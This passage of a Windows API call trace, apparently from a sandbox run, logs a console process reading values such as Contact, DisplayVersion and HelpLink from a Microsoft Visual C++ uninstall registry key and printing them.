0x1b5 [0150.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.972] GetConsoleOutputCP () returned 0x1b5 [0150.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.973] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.973] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.973] __iob_func () returned 0x7fefd702a80 [0150.973] _fileno (_File=0x7fefd702ab0) returned 1 [0150.973] _errno () returned 0x204bb0 [0150.973] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.973] _errno () returned 0x204bb0 [0150.973] GetFileType (hFile=0x50) returned 0x1 [0150.973] lstrlenW (lpString=" ") returned 4 [0150.973] GetConsoleOutputCP () returned 0x1b5 [0150.973] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.973] GetConsoleOutputCP () returned 0x1b5 [0150.973] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.973] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.973] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.973] __iob_func () returned 0x7fefd702a80 [0150.973] _fileno (_File=0x7fefd702ab0) returned 1 [0150.973] _errno () returned 0x204bb0 [0150.973] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.973] _errno () returned 0x204bb0 [0150.973] GetFileType (hFile=0x50) returned 0x1 [0150.973] lstrlenW (lpString="Caution. Removing this product might prevent some applications from running.") returned 76 [0150.973] GetConsoleOutputCP () returned 0x1b5 [0150.973] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0150.974] GetConsoleOutputCP () returned 0x1b5 [0150.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Caution. Removing this product might prevent some applications from running.", lpUsedDefaultChar=0x0) returned 76 [0150.974] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0150.974] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.974] __iob_func () returned 0x7fefd702a80 [0150.974] _fileno (_File=0x7fefd702ab0) returned 1 [0150.974] _errno () returned 0x204bb0 [0150.974] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.974] _errno () returned 0x204bb0 [0150.974] GetFileType (hFile=0x50) returned 0x1 [0150.974] lstrlenW (lpString="\n") returned 1 [0150.974] GetConsoleOutputCP () returned 0x1b5 [0150.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.974] GetConsoleOutputCP () returned 0x1b5 [0150.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.974] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.974] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.974] GetProcessHeap () returned 0x3c0000 [0150.974] GetProcessHeap () returned 0x3c0000 [0150.974] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.974] GetProcessHeap () returned 0x3c0000 [0150.974] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x9e [0150.974] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.974] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.975] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.975] GetProcessHeap () returned 0x3c0000 [0150.975] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.975] GetProcessHeap () returned 0x3c0000 [0150.975] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.975] GetProcessHeap () returned 0x3c0000 [0150.975] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.975] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.975] __iob_func () returned 0x7fefd702a80 [0150.975] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.975] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.975] _fileno (_File=0x7fefd702ab0) returned 1 [0150.975] _errno () returned 0x204bb0 [0150.975] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.975] _errno () returned 0x204bb0 [0150.975] GetFileType (hFile=0x50) returned 0x1 [0150.975] lstrlenW (lpString=" ") returned 4 [0150.975] GetConsoleOutputCP () returned 0x1b5 [0150.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.975] GetConsoleOutputCP () returned 0x1b5 [0150.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.975] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.975] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.975] lstrlenW (lpString="Contact") returned 7 [0150.975] __iob_func () returned 0x7fefd702a80 [0150.975] _fileno (_File=0x7fefd702ab0) returned 1 [0150.975] _errno () returned 0x204bb0 [0150.975] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.975] _errno () returned 0x204bb0 [0150.975] GetFileType (hFile=0x50) returned 0x1 [0150.976] lstrlenW (lpString="Contact") returned 7 [0150.976] GetConsoleOutputCP () returned 0x1b5 [0150.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0150.976] GetConsoleOutputCP () returned 0x1b5 [0150.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0150.976] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0150.976] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.976] __iob_func () returned 0x7fefd702a80 [0150.976] _fileno (_File=0x7fefd702ab0) returned 1 [0150.976] _errno () returned 0x204bb0 [0150.976] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.976] _errno () returned 0x204bb0 [0150.976] GetFileType (hFile=0x50) returned 0x1 [0150.976] lstrlenW (lpString=" ") returned 4 [0150.976] GetConsoleOutputCP () returned 0x1b5 [0150.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.976] GetConsoleOutputCP () returned 0x1b5 [0150.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.976] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.976] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.977] __iob_func () returned 0x7fefd702a80 [0150.977] _fileno (_File=0x7fefd702ab0) returned 1 [0150.977] _errno () returned 0x204bb0 [0150.977] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.977] _errno () returned 0x204bb0 [0150.977] GetFileType (hFile=0x50) returned 0x1 [0150.977] lstrlenW (lpString="REG_SZ") returned 6 [0150.977] GetConsoleOutputCP () returned 0x1b5 [0150.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.977] GetConsoleOutputCP () returned 0x1b5 [0150.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.977] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.977] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.977] __iob_func () returned 0x7fefd702a80 [0150.977] _fileno (_File=0x7fefd702ab0) returned 1 [0150.977] _errno () returned 0x204bb0 [0150.977] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.977] _errno () returned 0x204bb0 [0150.977] GetFileType (hFile=0x50) returned 0x1 [0150.977] lstrlenW (lpString=" ") returned 4 [0150.977] GetConsoleOutputCP () returned 0x1b5 [0150.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.977] GetConsoleOutputCP () returned 0x1b5 [0150.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.978] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.978] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.978] __iob_func () returned 0x7fefd702a80 [0150.978] _fileno (_File=0x7fefd702ab0) returned 1 [0150.978] _errno () returned 0x204bb0 [0150.978] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.978] _errno () returned 0x204bb0 [0150.978] GetFileType (hFile=0x50) returned 0x1 [0150.978] lstrlenW (lpString="") returned 0 [0150.978] __iob_func () returned 0x7fefd702a80 [0150.978] _fileno (_File=0x7fefd702ab0) returned 1 [0150.978] _errno () returned 0x204bb0 [0150.978] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.978] _errno () returned 0x204bb0 [0150.978] GetFileType (hFile=0x50) returned 0x1 [0150.978] lstrlenW (lpString="\n") returned 1 [0150.978] GetConsoleOutputCP () returned 0x1b5 [0150.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.978] GetConsoleOutputCP () returned 0x1b5 [0150.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.978] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.978] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.978] GetProcessHeap () returned 0x3c0000 [0150.978] GetProcessHeap () returned 0x3c0000 [0150.979] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.979] GetProcessHeap () returned 0x3c0000 [0150.979] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.979] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.979] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.979] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x18) returned 0x0 [0150.979] GetProcessHeap () returned 0x3c0000 [0150.979] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1a) returned 0x3d5c60 [0150.979] GetProcessHeap () returned 0x3c0000 [0150.979] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0150.979] GetProcessHeap () returned 0x3c0000 [0150.979] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x1a [0150.979] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c60, pcbData=0x29f780*=0x18 | out: pdwType=0x29f700*=0x1, pvData="10.0.40219", pcbData=0x29f780*=0x16) returned 0x0 [0150.979] __iob_func () returned 0x7fefd702a80 [0150.979] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.979] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.979] _fileno (_File=0x7fefd702ab0) returned 1 [0150.979] _errno () returned 0x204bb0 [0150.979] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.979] _errno () returned 0x204bb0 [0150.979] GetFileType (hFile=0x50) returned 0x1 [0150.979] lstrlenW (lpString=" ") returned 4 [0150.979] GetConsoleOutputCP () returned 0x1b5 [0150.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.979] GetConsoleOutputCP () returned 0x1b5 [0150.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.979] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.979] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.980] lstrlenW (lpString="DisplayVersion") returned 14 [0150.980] __iob_func () returned 0x7fefd702a80 [0150.980] _fileno (_File=0x7fefd702ab0) returned 1 [0150.980] _errno () returned 0x204bb0 [0150.980] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.980] _errno () returned 0x204bb0 [0150.980] GetFileType (hFile=0x50) returned 0x1 [0150.980] lstrlenW (lpString="DisplayVersion") returned 14 [0150.980] GetConsoleOutputCP () returned 0x1b5 [0150.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0150.980] GetConsoleOutputCP () returned 0x1b5 [0150.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0150.980] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0150.980] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.980] __iob_func () returned 0x7fefd702a80 [0150.980] _fileno (_File=0x7fefd702ab0) returned 1 [0150.980] _errno () returned 0x204bb0 [0150.980] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.980] _errno () returned 0x204bb0 [0150.980] GetFileType (hFile=0x50) returned 0x1 [0150.980] lstrlenW (lpString=" ") returned 4 [0150.980] GetConsoleOutputCP () returned 0x1b5 [0150.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.981] GetConsoleOutputCP () returned 0x1b5 [0150.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.981] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.981] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.981] __iob_func () returned 0x7fefd702a80 [0150.981] _fileno (_File=0x7fefd702ab0) returned 1 [0150.981] _errno () returned 0x204bb0 [0150.981] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.981] _errno () returned 0x204bb0 [0150.981] GetFileType (hFile=0x50) returned 0x1 [0150.981] lstrlenW (lpString="REG_SZ") returned 6 [0150.981] GetConsoleOutputCP () returned 0x1b5 [0150.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.981] GetConsoleOutputCP () returned 0x1b5 [0150.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.981] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.981] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.981] __iob_func () returned 0x7fefd702a80 [0150.981] _fileno (_File=0x7fefd702ab0) returned 1 [0150.981] _errno () returned 0x204bb0 [0150.981] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.981] _errno () returned 0x204bb0 [0150.981] GetFileType (hFile=0x50) returned 0x1 [0150.982] lstrlenW (lpString=" ") returned 4 [0150.982] GetConsoleOutputCP () returned 0x1b5 [0150.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.982] GetConsoleOutputCP () returned 0x1b5 [0150.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.982] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.982] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.982] __iob_func () returned 0x7fefd702a80 [0150.982] _fileno (_File=0x7fefd702ab0) returned 1 [0150.982] _errno () returned 0x204bb0 [0150.982] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.982] _errno () returned 0x204bb0 [0150.982] GetFileType (hFile=0x50) returned 0x1 [0150.982] lstrlenW (lpString="10.0.40219") returned 10 [0150.982] GetConsoleOutputCP () returned 0x1b5 [0150.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="10.0.40219", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.982] GetConsoleOutputCP () returned 0x1b5 [0150.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="10.0.40219", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10.0.40219", lpUsedDefaultChar=0x0) returned 10 [0150.982] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0150.982] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.983] __iob_func () returned 0x7fefd702a80 [0150.983] _fileno (_File=0x7fefd702ab0) returned 1 [0150.983] _errno () returned 0x204bb0 [0150.983] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.983] _errno () returned 0x204bb0 [0150.983] GetFileType (hFile=0x50) returned 0x1 [0150.983] lstrlenW (lpString="\n") returned 1 [0150.983] GetConsoleOutputCP () returned 0x1b5 [0150.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.983] GetConsoleOutputCP () returned 0x1b5 [0150.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.983] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.983] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.983] GetProcessHeap () returned 0x3c0000 [0150.983] GetProcessHeap () returned 0x3c0000 [0150.983] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0150.983] GetProcessHeap () returned 0x3c0000 [0150.983] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x1a [0150.983] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60 | out: hHeap=0x3c0000) returned 1 [0150.983] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.983] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x5c) returned 0x0 [0150.983] GetProcessHeap () returned 0x3c0000 [0150.983] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x5e) returned 0x3db830 [0150.983] GetProcessHeap () returned 0x3c0000 [0150.983] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.984] GetProcessHeap () returned 0x3c0000 [0150.984] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0150.984] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x5c | out: pdwType=0x29f700*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=146008", pcbData=0x29f780*=0x5c) returned 0x0 [0150.984] __iob_func () returned 0x7fefd702a80 [0150.984] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.984] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.984] _fileno (_File=0x7fefd702ab0) returned 1 [0150.984] _errno () returned 0x204bb0 [0150.984] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.984] _errno () returned 0x204bb0 [0150.984] GetFileType (hFile=0x50) returned 0x1 [0150.984] lstrlenW (lpString=" ") returned 4 [0150.984] GetConsoleOutputCP () returned 0x1b5 [0150.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.984] GetConsoleOutputCP () returned 0x1b5 [0150.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.985] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.985] fflush (in: _File=0x7fefd702ab0 | out: 